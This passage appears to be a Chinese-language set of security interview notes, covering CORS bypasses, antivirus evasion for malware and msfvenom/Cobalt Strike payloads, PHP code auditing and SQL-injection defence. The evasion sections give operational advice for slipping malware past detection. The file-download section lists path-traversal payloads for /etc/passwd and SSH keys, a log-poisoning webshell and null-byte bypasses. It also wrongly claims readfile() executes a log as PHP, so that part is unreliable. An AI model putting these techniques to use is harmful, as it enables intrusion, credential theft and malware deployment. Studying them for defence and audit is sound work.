一些网站的白名单只允许特定的子域名,但正则匹配存在缺陷

  • 利用方式:
    • 假设白名单只允许 https://*.target.com,攻击者可以尝试构造 https://evil.com.target.comhttps://target.com.evil.com
    • 如果正则匹配不严谨,这些域名也可能被认为是合法的

c. 端口绕过

CORS 规范中,端口也是同源策略的一部分。但有些服务器在白名单中忽略了端口号

  • 利用方式:

    • 如果 target.com 允许 Origin: https://target.com,攻击者可以尝试使用 https://target.com:8080 作为 Origin
    • 如果服务器的白名单没有严格检查端口,这个请求可能会被通过

如何去过国内的杀软

1. 静态特征码检测

静态检测是指杀软在不运行程序的情况下,通过扫描文件本身的特征来判断是否为恶意软件。这包括特定的代码片段、哈希值、字符串等

应对方案:

  • 混淆代码:使用混淆器(Obfuscator)或手动对代码进行重构。这包括:
    • 花指令(Junk Instructions):在核心代码中插入大量无用的指令(如 NOP),改变代码结构,使得杀软无法匹配其已知的恶意代码特征码
    • 控制流平坦化(Control Flow Flattening):将程序的正常执行流程打乱,通过一个大的 switchif/else 结构来控制跳转,让杀软的分析引擎难以理解其逻辑
    • 字符串加密:将代码中使用的敏感字符串(如 URL、文件名、注册表键)进行加密,只在运行时解密使用。这可以有效绕过基于字符串的特征码检测
  • 改变编译参数:使用不同的编译器、编译选项,或更改代码,使得生成的机器码与杀软数据库中的特征码不匹配

2. 动态行为监控

动态检测是在程序运行时,监控其行为是否具有恶意倾向。国内杀软的启发式引擎(Heuristic Engine)非常强大,能检测到如进程注入、文件加密、网络通信等行为

应对方案:

  • 延迟执行:程序启动后不立即执行恶意行为,而是等待一段较长时间(例如几分钟或几小时),或等待特定的用户操作(如鼠标移动、键盘输入)后,再执行恶意代码。这能有效绕过沙箱环境的短时分析
  • 反沙箱/反虚拟机:通过代码检测自己是否运行在沙箱或虚拟机中。如果发现是,就停止恶意行为或直接退出。常用的检测手段包括:
    • 检查 CPU 特征(cpuid 指令)
    • 检测特定虚拟机文件或注册表键
    • 测量指令执行时间差异
  • 模块化和分阶段加载:将恶意功能拆分成多个模块。程序本身可能只是一个无害的加载器,它在运行时从远程服务器下载或解密其他恶意模块。这使得杀软难以在初始阶段就判断其恶意性

3. 云查杀与文件信誉库

国内杀软普遍使用云查杀技术,将可疑文件上传到云端进行分析,并维护一个庞大的恶意文件哈希值数据库

应对方案:

  • 文件加密和加壳:使用自定义的加密算法对可执行文件进行加密,并用一个小的解密器(Loader)来启动它。这会改变文件的哈希值,绕过哈希值比对。这种技术就是加壳(Packing)
  • 代码签名:使用合法的代码签名证书对恶意软件进行签名。虽然这不能保证免杀,但可能会提高杀软的信任度,使得一些低级别的检测失效。当然,使用窃取的或不合法的证书是有风险的
  • 文件指纹变化:每次生成样本时都进行微小的改动,比如添加不同的编译时间戳、修改常量值等,以确保每个样本的哈希值都是唯一的

4. 驱动级与内核级对抗

高级的杀软会使用内核驱动来监控系统活动,恶意软件也需要通过内核级别的技术进行对抗

应对方案:

  • Rootkit 技术:利用 Rootkit 技术在内核级别隐藏自己的进程、文件和网络连接,使得杀软难以发现
  • 挂钩(Hooking):挂钩杀软驱动的 API,拦截其对恶意行为的监控。当然,这需要非常深厚的内核编程知识

分离免杀和单体免杀有啥区别,为什么要分离

什么是分离免杀和单体免杀?

首先,让我们来定义这两个概念:

  • 单体免杀(All-in-One Evasion):指的是将所有恶意功能(如键盘记录、远程控制、文件加密等)和免杀代码打包在一个可执行文件中。这个文件一旦运行,就会在内存中完成所有恶意行为,而不需要外部依赖
  • 分离免杀(Separated Evasion):也叫“分阶段免杀”或“多阶段免杀”。它将恶意软件的核心功能与启动器(或称加载器、Loader)分离开来。启动器本身是一个非常小的、看起来无害的可执行文件,其唯一任务是在运行时从远程服务器下载或从加密资源中解密并加载真正的恶意负载(Payload),然后执行它

为什么要分离?

分离免杀之所以成为主流,是因为它能更有效地对抗现代杀毒软件,特别是云查杀和静态分析技术

1. 绕过静态特征码检测

这是分离免杀最重要的原因。杀毒软件的静态引擎会扫描文件中的恶意代码特征码

  • 对于单体免杀,所有恶意代码都集中在一个文件中。尽管可以使用混淆技术,但如果杀毒软件的特征库更新得足够快,或者其分析引擎足够强大,很容易在不执行文件的情况下就识别出其中的恶意代码
  • 对于分离免杀,启动器本身是干净的。它不包含任何恶意代码,只是一段用于下载和解密的“无害”代码。因此,当用户下载或运行时,杀毒软件的静态引擎很难将其识别为恶意文件。真正的恶意负载在运行时才会被下载或解密到内存中,而此时静态引擎已经无法对它进行扫描

2. 规避云查杀和哈希比对

现代杀毒软件的云查杀系统会收集可疑文件的哈希值

  • 如果一个单体免杀样本被捕获,它的哈希值会立即被添加到云端黑名单。即使你对它做了微小的修改,如果杀软使用了模糊哈希,也可能被识别
  • 如果使用分离免杀,你可以对启动器进行频繁的微小改动(例如修改时间戳、添加无意义的字节),这会生成唯一的哈希值。即使一个启动器被识别,它也不会影响你接下来生成的其他启动器。真正的恶意负载可以保持不变,因为它是动态加载的,不会直接暴露在文件中

3. 增加逆向分析的难度

分离免杀为逆向工程增加了额外的门槛

  • 逆向工程师拿到的是一个启动器,如果想要分析完整的恶意功能,他必须首先脱壳(如果有加密)并捕获运行时下载的恶意负载
  • 启动器可能会使用反调试、反虚拟机等技术来阻止分析人员在受控环境中运行它,这进一步增加了分析的难度

做过其他免杀吗,比如结合 CS 和 MSF 的

MSFvenom 生成的 Payload 如何免杀?

msfvenom 是一个强大的命令行工具,用于生成各种 Payload。它自带了多种编码器(Encoder),可以对 Payload 进行编码来绕过简单的静态特征码检测

  • 编码器(Encoders):最简单的免杀方法是使用 msfvenom 自带的编码器,例如 shikata_ga_nai。这个编码器会对 Shellcode 进行多态编码,使得每次生成的 Payload 都不一样。但是,这种方法对于现代杀软来说已经不够了,因为杀软可以识别出编码器本身的行为模式
  • 利用模板文件(Templates):你可以使用 -x 参数指定一个合法的可执行文件(例如 notepad.exe)作为模板,msfvenom 会将 Payload 注入到这个文件中。这样可以改变文件哈希,并且文件看起来像一个正常的程序
  • 自定义 Shellcode 和加载器(Loader)
    • 生成纯 Shellcode:使用 -f raw-f bin 参数生成原始的 Shellcode 二进制文件,不带任何可执行文件头
    • 编写自定义加载器:用 C++、C# 或 PowerShell 等语言编写一个加载器,它的任务是将 Shellcode 加载到内存并执行
    • 混淆加载器代码:对加载器的代码进行混淆,比如使用花指令、字符串加密,以及反沙箱技术,来绕过杀软对加载器的静态检测
    • 内存执行:加载器可以使用一些技巧,如 VirtualAllocWriteProcessMemoryCreateThread 等 API,来分配内存、将 Shellcode 写入,并在新线程中执行。由于 Shellcode 只是数据,不直接在文件中,静态杀软很难发现它

Cobalt Strike 生成的 Payload 如何免杀?

Cobalt Strike 生成的 Beacon Payload 同样非常强大,但它的默认 Payload 也会被杀软识别。CS 的免杀需要更高级的技巧

  • 分离 Payload 和 Stager:CS 的 Beacon Payload 通常分为两个阶段:一个小的 Stager 和一个大的 Stageless Payload。Stager 的任务是下载 Stageless Payload。你可以只生成 Stager,并对其进行混淆,而将 Stageless Payload 托管在自己的服务器上
  • 使用自定义的 Shellcode 加载器(Loader)
    • CS 可以导出原始的 Shellcode。你可以使用前面提到的方法,用自定义的加载器来加载它
    • 很多攻击者会使用反射式 DLL 注入来加载 Payload。他们将 Shellcode 封装成一个 DLL,然后通过进程注入技术将 DLL 加载到另一个无害的进程中,以隐藏其行为
  • 绕过行为检测:CS 的 Beacon 在网络通信、权限提升等方面有很多特征,可能会被杀软的行为监控引擎捕获为了绕过这些检测:
    • 混淆网络通信:使用自定义的通信协议或加密方式,使得流量看起来不像 Beacon 的默认流量
    • 进程注入的规避:使用更隐蔽的进程注入技术,例如直接在内存中执行,而不是写入磁盘文件
    • 使用合法的证书和签名:对 Payload 文件进行代码签名,增加其可信度
  • 使用第三方工具:除了自己编写加载器,还有很多开源或商业的工具专门用于混淆和打包 MSF/CS 的 Shellcode,例如 sliverMythic 等。这些工具通常包含了更高级的免杀技术

21- PHP代码审计系列

=== 和 == 的区别

== (相等运算符)

== 运算符只比较是否相等。如果两个变量的值相同,即使它们的数据类型不同,== 也会返回 true。在比较之前,PHP 会尝试将一个变量的类型转换成另一个变量的类型,以便进行比较。这种行为被称为**“类型转换”“弱类型比较”**

示例:

1
2
3
4
5
6
7
8
9
10
11
// 字符串 '10' 和整数 10
var_dump('10' == 10); // true,因为 '10' 会被转换为整数 10

// 字符串 'Hello' 和整数 0
var_dump('Hello' == 0); // true,因为 'Hello' 在数字比较时被转换为 0

// 字符串 '10abc' 和整数 10
var_dump('10abc' == 10); // true,因为 '10abc' 的起始数字部分被转换为 10

// null 和 false
var_dump(null == false); // true,因为 null 在布尔比较时被视为 false

=== (全等运算符)

=== 运算符不仅比较是否相等,还比较数据类型是否相同。只有当两个变量的值和数据类型都完全相同时,=== 才会返回 true。这种行为被称为**“不进行类型转换的比较”“强类型比较”**

示例:

1
2
3
4
5
6
7
8
9
10
11
// 字符串 '10' 和整数 10
var_dump('10' === 10); // false,因为一个变量是字符串,另一个是整数

// 字符串 'Hello' 和整数 0
var_dump('Hello' === 0); // false,因为数据类型不匹配

// 字符串 '10abc' 和整数 10
var_dump('10abc' === 10); // false,因为数据类型不匹配

// null 和 false
var_dump(null === false); // false,因为 null 和 false 的数据类型不同
运算符 比较内容 行为 什么时候用?
== 弱类型比较(有类型转换) 当你确定不需要关心变量类型,只关心值是否相同时。
=== 值和类型 强类型比较(无类型转换) 大多数情况下,推荐使用 ===,因为它能防止因隐式类型转换导致的意外行为,使代码更健壮和可预测。

本地文件包含能不能通过 PHP 配置限制文件包含的路径

当然能,这个关键的配置项就是 open_basedir

open_basedir 的作用

open_basedir 是一个强大的安全配置,它定义了 PHP 脚本可以访问的根目录。当一个 PHP 脚本试图使用文件系统函数(如 includerequirefopenfile_get_contents 等)来访问文件时,open_basedir 会检查目标文件路径是否位于它指定的目录或其子目录中

如果目标文件不在指定的目录范围内,PHP 会拒绝该操作并抛出错误


PHP 在做 SQL 注入防御时有哪些方法

1. 使用预处理语句

这是防御 SQL 注入的首选方法,也是最安全、最推荐的方式。预处理语句将 SQL 代码与数据完全分离,数据库会先编译SQL 模板,然后再将用户数据作为参数绑定进去。这样,无论用户输入什么,数据都只会被当作值来处理,而不会被当作SQL 代码的一部分

  • PDO (PHP Data Objects)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 创建PDO连接
    $pdo = new PDO("mysql:host=localhost;dbname=testdb", "username", "password");

    // 1. 准备SQL语句模板,使用 ? 占位符
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");

    // 2. 绑定参数,将用户输入作为值传递
    $stmt->execute([$_POST['username']]);

    // 3. 获取结果
    $user = $stmt->fetch();

    PDO 是现代 PHP 开发中处理数据库连接和查询的标准库,它支持多种数据库,并且提供了强大的预处理功能

  • MySQLi

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    // 创建MySQLi连接
    $mysqli = new mysqli("localhost", "username", "password", "testdb");

    // 1. 准备SQL语句模板,使用 ? 占位符
    $stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");

    // 2. 绑定参数,指定数据类型
    $stmt->bind_param("s", $_POST['username']); // "s" 表示 string

    // 3. 执行查询
    $stmt->execute();

    // 4. 获取结果
    $result = $stmt->get_result();
    $user = $result->fetch_assoc();

    MySQLi 是专为 MySQL 设计的扩展,也支持预处理语句

2. 使用 ORM 框架

如果你在使用像 LaravelSymfonyYii 这样的现代 PHP 框架,那么ORM(对象关系映射)库(如Eloquent或Doctrine)已经为你处理了预处理语句的复杂性

  • Laravel Eloquent 示例

    1
    2
    3
    4
    use App\Models\User;

    // Eloquent会自动使用预处理语句
    $user = User::where('username', $_POST['username'])->first();

    使用 ORM,你不再需要直接编写 SQL 语句,而是通过操作对象来完成数据库交互,这从根本上避免了 SQL 注入的可能性

3. 数据转义

在某些老旧的系统或特殊情况下,如果无法使用预处理语句,你必须对所有用户输入进行转义。转义的目的是将用户输入中的特殊字符(如单引号 '、双引号 "、反斜杠 \ 等)进行处理,使它们失去原有的特殊含义,被数据库当作普通字符串来处理

  • 使用 mysqli_real_escape_string()

    1
    2
    3
    4
    5
    6
    // 在使用前确保已经建立了MySQLi连接
    $username = mysqli_real_escape_string($conn, $_POST['username']);

    // 将转义后的变量拼接到SQL语句中
    $sql = "SELECT * FROM users WHERE username = '$username'";
    $result = mysqli_query($conn, $sql);

    这种方法只在最后一道防线使用,并且不推荐作为主要防御手段,因为它容易被遗漏,并且不同的数据库需要不同的转义函数,增加了开发者的负担

  • 注意绝对不要再使用 addslashes(),因为它无法处理所有字符集,容易被绕过。mysql_escape_string() 也已经被废弃

4. 最小权限原则

这是一个重要的安全原则,可以降低 SQL 注入成功后的危害

  • 不要使用 root 用户或拥有所有权限的用户来连接数据库
  • 为应用程序创建专用的数据库用户,并只赋予它完成任务所需的最小权限。例如,一个只读操作的脚本,其数据库用户就应该只有 SELECT 权限
防御方法 优点 缺点 推荐度
预处理语句 最安全、最彻底的防御;将数据与代码分离;性能好。 语法相对复杂一些;无法用于某些动态 SQL(如表名、列名)。 最高
ORM 框架 从根本上杜绝 SQL 注入;开发效率高;代码可读性好。 需要学习框架;不适用于简单或无框架项目。 非常高
数据转义 适用于老旧系统或无框架的项目。 容易遗漏;依赖开发者记忆;不彻底。 低,仅作补充
最小权限 降低攻击后的危害。 无法从根本上防御注入。 非常高(作为安全原则)

如果审计到了一个文件下载漏洞如何深入的去利用

1. 确认与初步利用

首先,要确认这是一个真正的文件下载漏洞,而不是一个伪装的假象。通常,漏洞代码看起来是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// ...
$file = $_GET['file'];
$path = "/var/www/html/downloads/" . $file;
if (file_exists($path)) {
header("Content-Type: application/octet-stream");
readfile($path);
} else {
echo "File not found.";
}
// ...
?>

这里的关键在于 $file = $_GET['file']; 这行代码没有对用户输入进行任何过滤

初步利用方式:

  • 路径遍历(Path Traversal): 尝试使用 ../ 来向上跳目录,下载服务器上的敏感文件
    • Payload: ?file=../../../../etc/passwd
    • 目的: 验证漏洞是否存在,并尝试下载系统敏感文件,如 /etc/passwd(Linux 用户列表)或 C:\Windows\System32\drivers\etc\hosts(Windows 主机文件)
  • 下载源码: 尝试下载网站的 PHP 源代码文件。
    • Payload: ?file=../../../../var/www/html/index.php?file=../../../../var/www/html/config.php
    • 目的: 获取网站的数据库连接信息、API密钥或其他硬编码的凭据,为下一步攻击做准备

2. 深入利用:组合攻击

如果仅仅是下载文件,漏洞的危害有限。但如果将它与其他漏洞或服务器配置问题结合起来,它的威力会成倍增加。

场景一:与日志文件结合

如果服务器的 Web 日志文件可以被下载,而你又可以向日志中写入数据,那么这个文件下载漏洞就可能变成一个远程代码执行漏洞

利用步骤:

  1. 向日志中写入恶意 PHP 代码:
    • 通常,Web 服务器(如 Apache)会记录用户的 User-Agent、Referer 等 HTTP 头信息
    • 将你的 User-Agent 设置为包含恶意 PHP 代码,例如:<?php system('ls -al'); ?>
    • Payload: User-Agent: <?php system($_GET['cmd']); ?>
    • 通过访问一个不存在的页面来触发日志记录
  2. 利用文件下载漏洞下载并执行日志文件:
    • 找到日志文件的路径。通常位于 /var/log/apache2/access.log/var/log/httpd/access_log
    • Payload: ?file=../../../../var/log/apache2/access.log
    • 当服务器执行 readfile() 函数时,它会将日志文件作为 PHP 代码来解析并执行
    • 执行命令: 你的浏览器现在会显示 ls -al 命令的输出
  3. 最终利用:
    • 现在你可以通过在URL中添加 &cmd=... 来执行任意命令
    • Payload: ?file=../../../../var/log/apache2/access.log&cmd=id
    • 你可以通过这个方式上传一个WebShell,从而完全控制服务器

场景二:与本地文件包含(LFI)漏洞结合

如果目标服务器存在本地文件包含漏洞,但你不知道路径或无法直接利用,文件下载漏洞可以帮助你获取更多信息

利用步骤:

  1. 使用文件下载漏洞下载 PHPinfo 文件
    • 找到服务器上的一个 phpinfo() 文件(如果有的话)
    • Payload: ?file=../../../../var/www/html/info.php
    • 目的: phpinfo() 页面会暴露大量敏感信息,包括服务器的配置、环境变量、安装的模块等,这些信息可以帮助你找到新的攻击面
  2. 利用 LFI 漏洞包含敏感文件:
    • 如果你发现了一个可以包含文件的漏洞,但是无法直接包含日志文件
    • 你可以先利用文件下载漏洞,下载服务器上的/proc/self/environ文件。这个文件通常包含进程的环境变量,包括你之前设置的 User-Agent
    • 然后,利用LFI漏洞去包含 /proc/self/environ,从而执行你注入到 User-Agent 中的代码

3. 利用思路的扩展

除了上述两种常见的组合攻击,你还可以尝试以下利用方式:

  • 下载 SSH 密钥: 如果服务器启用了SSH,你可以尝试下载用户的 SSH 密钥

    • Payload: ?file=../../../../home/user/.ssh/id_rsa
    • 目的: 使用密钥直接登录服务器,获取 Shell 权限
  • 下载数据库文件:

    • 对于 SQLite 等数据库,其数据存储在文件中
    • Payload: ?file=../../../../var/www/html/database/db.sqlite
    • 目的: 获取整个数据库的内容,包括用户密码(如果未加密)、个人信息等
  • 绕过防御:

    • 如果开发者对 ../ 进行了过滤,可以尝试双重编码 ..%252f 或其他编码方式来绕过
    • 如果路径是硬编码的,例如 downloads/,尝试使用空字节 %00 来截断路径
    • Payload: ?file=../../../../etc/passwd%00

    讲讲 Fortity 等代码审计工具原理

Fortify 等代码审计工具的原理

Fortify、Checkmarx、SonarQube 等自动化代码审计工具,其核心原理是静态应用安全测试(Static Application Security Testing, SAST)。它们不对程序进行实际运行,而是通过分析程序的源代码、字节码或二进制文件,来识别其中的安全漏洞

这就像一个医生在给病人看病时,不是通过观察病人的症状,而是直接通过分析病人的基因图谱来预测潜在的疾病风险。

这些工具的工作流程通常分为以下几个阶段:

  1. 解析(Parsing) 这是工具的第一步,也是最重要的一步。它会像编译器一样,对输入的源代码进行词法分析、语法分析和语义分析,将代码转换为一个更容易分析的中间表示,通常是抽象语法树(Abstract Syntax Tree, AST)

    • 目的:将代码的文本形式转换为结构化的数据,方便后续的分析
  2. 数据流分析(Data Flow Analysis) 这个阶段是 SAST 工具的核心。它会追踪程序中数据的流动路径,特别是从**外部输入源(Source)敏感操作(Sink)**的路径

    • 外部输入源(Source):指那些可能被用户控制的输入,例如 HTTP 请求的参数($_GET$_POST)、文件上传、数据库查询结果等
    • 敏感操作(Sink):指那些可能引发安全漏洞的操作,例如执行系统命令(system())、执行 SQL 查询(mysqli_query())、写入文件等
    • 分析过程:工具会模拟数据从 Source 流向 Sink 的过程。如果发现一个未经验证或过滤的外部输入直接进入了敏感操作,它就会标记为一个潜在的漏洞
    • 例如:当一个用户输入的 $username 直接被拼接到 SQL 查询语句中,工具就会识别出这是一个潜在的 SQL 注入漏洞
  3. 控制流分析(Control Flow Analysis) 这个阶段分析程序执行的所有可能的路径。它会构建一个控制流图(Control Flow Graph, CFG),来模拟程序在不同条件分支(if/elseforwhile)下的执行路径

    • 目的:结合数据流分析,判断漏洞是否在可达的执行路径上。如果一个漏洞位于一个永远不会被执行到的代码块中,那么它就是一个假阳性
    • 例如:一个敏感操作被放在一个永远为 falseif 语句中,那么工具会识别出这个漏洞无法被触发
  4. 规则匹配(Rule Matching) Fortify 等工具内置了一个庞大的漏洞规则库,这些规则定义了各种已知的漏洞模式。在分析了数据流和控制流之后,工具会将分析结果与规则库进行匹配

    • 规则库:包含了各种语言(Java、PHP、Python 等)的常见漏洞,例如命令注入、跨站脚本(XSS)、文件上传漏洞等
    • 匹配过程:如果一个数据流路径符合某个漏洞规则,工具就会生成一个漏洞报告

    常见入口函数怎么找

1. 查找 Web 框架的路由文件

如果你面对的是一个流行的 Web 框架(如 Laravel, Symfony, ThinkPHP, Yii),那么入口通常由框架定义

  • Laravel: 入口文件通常是 public/index.php。所有请求都会被这个文件处理,然后根据 routes 目录下的路由配置文件(如 routes/web.phproutes/api.php)分发给不同的控制器方法
  • ThinkPHP: 入口文件同样是项目根目录下的 public/index.php,路由文件在 route 目录下
  • WordPress: 入口文件是根目录下的 index.php。它会加载 wp-load.php,进而加载整个 WordPress 核心

2. 查找包含或加载其他文件的文件

如果不是一个标准的框架,那么入口文件通常是一个包含或加载了许多其他文件的文件

  • 关键词搜索: 在代码库中搜索 require, include, require_once, include_once 等关键词。通常,代码量最少且包含最多其他文件的那个文件,就是入口文件
  • 文件名猜测: 很多开发者会使用通用的文件名作为入口,例如 index.php, main.php, bootstrap.phpinit.php

示例:

1
2
3
4
5
6
// index.php
require_once 'config/db.php';
require_once 'lib/auth.php';
include 'views/header.php';

// ...

在这个例子中,index.php 就是一个很明显的入口

3. 查看 Web 服务器的配置

对于一些特殊的配置,Web 服务器(如 Apache 或 Nginx)的配置文件会指定入口文件

  • Apache: 在 .htaccess 文件或 Apache 的主配置文件(如 httpd.conf)中查找 DirectoryIndexRewriteRule 规则
  • Nginx: 在 Nginx 的配置文件(通常在 /etc/nginx/sites-available//etc/nginx/conf.d/)中查找 index 指令或 location 块中的 rewrite 规则

示例(Nginx 配置):

1
2
3
4
location / {
# 如果请求的文件不存在,则将请求重写到 index.php
try_files $uri $uri/ /index.php?$args;
}

这条规则明确指定了所有请求都会被转发到 index.php

4. 追踪用户输入

更高级的分析方法是追踪用户输入

  • 搜索超全局变量: 在代码库中搜索 $_GET, $_POST, $_REQUEST, $_COOKIE, $_FILES 等超全局变量。这些变量是用户输入的最直接来源
  • 回溯分析: 找到这些变量的使用点后,向上追溯调用链。例如,如果你看到一个函数 process_input($_POST['data']),你需要找到 process_input 函数是在哪里被调用的,直到找到程序的起点

PHP 代码审计流程

1. 宏观分析与项目理解

  • 项目概况了解: 首先,你需要快速浏览整个代码库,了解项目的规模、所使用的框架(例如 Laravel, ThinkPHP, WordPress 等)、版本以及主要功能模块。这有助于你构建一个大致的威胁模型
  • 寻找入口点: 确定程序的入口文件(如 index.php)和主要路由配置。这是所有用户输入和请求的起点,也是你后续深入分析的起点
  • 识别关键功能: 重点关注那些与用户交互、文件操作、数据库查询、命令执行以及身份认证相关的模块,这些地方最容易出现漏洞

2. 自动化工具扫描

  • 静态分析(SAST): 使用专门的静态代码分析工具对整个代码库进行扫描。这些工具可以快速地发现一些明显的、模式化的漏洞,例如 SQL 注入、XSS、命令注入等
    • 常用工具:
      • PHPStan: 检查代码中的潜在错误和不规范之处
      • SonarQube: 功能强大的代码质量管理平台,可以集成多种规则集
      • RIPS (付费) 或 php-security-scanner (开源): 专注于 PHP 安全漏洞扫描
  • 动态分析(DAST): 如果条件允许,在测试环境中部署代码,使用动态扫描工具(如 Burp Suite Pro, OWASP ZAP)模拟黑客行为进行测试。这可以发现那些只有在运行时才能触发的漏洞

3. 人工审计与深度分析

人工审计是发现复杂和逻辑漏洞的关键步骤,它需要你结合自动化工具的报告进行深入分析

  • 查找敏感函数: 重点关注那些可能导致危险操作的函数,回溯它们的调用链,看参数是否可控、是否进行了过滤。
    • 命令执行: exec(), shell_exec(), passthru(), system()
    • 文件操作: file_get_contents(), file_put_contents(), include(), require()
    • SQL 注入: mysqli_query(), PDO::query()
    • 代码执行: eval(), assert(), unserialize()
    • 重定向: header('Location: ...')

4. 漏洞确认与报告

  • 漏洞复现: 找到潜在漏洞后,你需要在本地或测试环境中复现它,确认其真实存在且可利用

  • 编写报告: 撰写详细的漏洞报告,包括:

    • 漏洞描述: 漏洞的类型、影响范围和风险等级
    • 漏洞位置: 精确的代码文件和行号
    • 复现步骤: 详细的攻击步骤,帮助开发者理解和验证
    • 修复建议: 给出具体的代码修复方案

ThinkPHP 框架审计起来有什么不同

1. 核心差异:文件结构与路由机制

  • 传统 PHP 代码:
    • 文件结构: 通常比较随意,一个页面一个文件,或者通过 include/require 组织
    • 入口点: 可能会有多个入口文件,例如 index.phplogin.phpupload.php
    • 审计思路: 从每个入口文件开始,逐个跟踪用户输入,找到所有可能被利用的敏感函数,例如 evalsysteminclude
  • ThinkPHP 框架:
    • 文件结构: 严格遵循 MVC(模型-视图-控制器)架构,有固定的目录结构,如 appconfigpublicroute
    • 入口点: 通常只有一个统一的入口文件,public/index.php。所有请求都通过这个文件,然后由框架的路由系统进行分发
    • 审计思路: 重点分析路由文件route 目录),理解请求如何被分发到哪个控制器的哪个方法。审计不再是线性的文件流,而是基于路由-控制器-模型-视图的调用链

2. 安全机制与新漏洞点

  • 传统 PHP 代码:
    • 安全机制: 几乎没有内置的安全机制,所有安全检查(如输入过滤、SQL 预处理)都需要开发者手动实现,非常依赖开发者的安全意识
    • 常见漏洞: 由于缺乏统一的过滤,SQL 注入、XSS、命令执行等漏洞非常普遍且容易发现
  • ThinkPHP 框架:
    • 安全机制:
      • 自动路由解析: 框架会根据 URL 自动将参数传入控制器方法,但若使用不当会产生漏洞
      • SQL 预处理: 提供了 ORM(对象关系映射)和查询构造器,鼓励开发者使用参数化查询,从而有效防御 SQL 注入
      • 自动过滤: 在早期版本中(如 ThinkPHP 5.x),Request 对象会进行自动过滤,但若开发者使用 get()post() 等函数而不做安全处理,仍可能存在风险
      • 跨站请求伪造(CSRF)防护: 内置了 CSRF Token 机制
    • 新漏洞点:
      • 路由解析漏洞: 早期版本曾出现因 URL 解析不当导致的代码执行漏洞
      • SQL 注入: 尽管有 ORM,但若开发者仍使用原始的 query() 方法或拼接字符串,SQL 注入依然会存在
      • 文件包含: 尽管框架本身减少了 include 的使用,但若开发者在控制器中动态加载了用户可控的文件,仍可能导致文件包含漏洞
      • 远程命令执行(RCE): 框架本身可能存在一些高危的 RCE 漏洞,如历史上的 ThinkPHP RCE 漏洞,这些是框架自身的问题,而非开发者代码问题。

3. 审计流程的差异

  • 审计传统 PHP 代码:
    • 方法: 重点是“找”,即找到所有用户输入点和敏感函数
    • 关键: 逐个文件、逐个功能地进行黑盒或白盒测试
  • 审计 ThinkPHP 框架代码:
    • 方法: 重点是“理解和跟踪”
    • 关键:
      1. 理解路由: 从 route 文件开始,理解 URL 如何映射到控制器和方法
      2. 跟踪参数: 找到控制器方法中使用了 Request::get()Request::post() 或直接从参数列表接收用户输入的地方
      3. 检查数据流: 跟踪这些用户输入是如何被使用,是否直接进入了数据库查询、文件操作或命令执行函数
      4. 关注框架漏洞: 检查框架版本,看是否存在已知的框架级别漏洞
      5. ORM 审计: 检查 ORM 查询,看是否存在使用原始 SQL 语句的情况,或者在使用 wherefind 等方法时,参数是否被正确处理

PHP 原生的敏感函数有哪些

1. 代码执行 / 命令执行

这些函数可以直接执行系统命令或 PHP 代码,是最高危的一类函数

  • eval(): 将字符串作为 PHP 代码执行
  • assert(): 检查一个字符串是否为合法的 PHP 代码,如果是则执行
  • shell_exec(): 通过 shell 执行命令并返回所有输出
  • exec(): 执行一个外部程序
  • system(): 执行外部程序并显示输出
  • passthru(): 执行外部程序并直接将原始输出传递给浏览器
  • proc_open(): 执行一个命令,并打开指向其标准输入/输出/错误的文件指针
  • popen(): 打开一个指向进程的管道。

2. 文件包含 / 读取 / 写入

这些函数如果参数可控,可能导致任意文件读取、写入,甚至是远程代码执行(RCE)

  • include() / include_once(): 包含并执行指定文件
  • require() / require_once(): 包含并执行指定文件,若失败则抛出致命错误
  • file_get_contents(): 将整个文件读入一个字符串
  • file_put_contents(): 将一个字符串写入文件
  • fopen() / fread() / fwrite(): 用于打开、读取和写入文件
  • unlink(): 删除文件
  • move_uploaded_file(): 将上传的文件移动到新位置
  • readfile(): 读取文件并写入到输出缓冲

3. 数据处理与反序列化

这些函数在处理用户输入时如果不加限制,可能导致反序列化漏洞

  • unserialize(): 将字符串反序列化为 PHP 值
  • json_decode(): 将 JSON 字符串解码为 PHP 变量
  • gzuncompress() / gzinflate(): 解压压缩字符串,可能引发内存溢出或拒绝服务。

4. 变量操作与反射

  • extract(): 从数组中导入变量到当前符号表。如果数组内容可控,可能覆盖现有变量
  • parse_str(): 将字符串解析成变量,同样可能导致变量覆盖
  • create_function(): 创建一个匿名函数。在 PHP 7.2.0 之后已被废弃,但旧版本中可能存在代码执行风险

5. 数据库操作

尽管大多数现代框架都有自己的 ORM 和查询构造器,但仍需注意原生数据库函数的使用,尤其是拼接 SQL 语句时

  • mysql_query(): 执行 SQL 查询(已废弃)
  • mysqli_query(): 执行 SQL 查询
  • PDO::query(): 执行 SQL 查询

6. 其他

  • header(): 用于设置 HTTP 头信息。如果参数可控,可能导致 CRLF 注入或重定向漏洞
  • die() / exit(): 终止脚本执行。在某些情况下,可能导致逻辑漏洞

反序列化时有哪些魔术方法是可以作为一个入手点去找的

__wakeup()

unserialize()函数被调用时,__wakeup() 方法会立即被调用。这个方法通常用于在对象被反序列化后重新建立其内部状态。

  • 攻击思路: 攻击者可以寻找 __wakeup() 方法中是否存在危险函数调用(例如 system()eval() 等),或者其内部逻辑是否可控,从而导致一些意想不到的后果

__destruct()

当一个对象被销毁时(例如脚本执行结束或对象被显式释放),__destruct() 方法会被调用

  • 攻击思路: __destruct() 是攻击者最喜欢的入手点之一,因为它总是在脚本执行的最后被调用,无论反序列化过程是否成功。如果该方法中存在文件删除、命令执行或其他敏感操作,攻击者可以通过构造恶意序列化字符串来触发它,从而达到攻击目的

__toString()

当一个对象被当作字符串使用时,__toString()方法会被自动调用

  • 攻击思路: 攻击者可以寻找哪些函数会将对象作为字符串处理。例如,echoprintfile_get_contents()等函数都会触发 __toString()。如果该方法中包含敏感操作,或者可以将 __toString() 的返回值作为参数传递给其他危险函数,就可能导致漏洞。这通常被称为“POP链”中的一个重要环节

__call()

当一个对象中不存在某个方法,但你却试图调用它时,__call() 方法会被自动调用

  • 攻击思路: __call()可以用来触发其他方法。如果 __call() 方法能够通过某种方式调用到危险方法,攻击者就可以通过调用一个不存在的方法来间接触发漏洞

__callStatic()

__call() 类似,但它在调用一个不存在的静态方法时触发

  • 攻击思路: 同样可以用于触发类中的敏感静态方法

__get()__set()

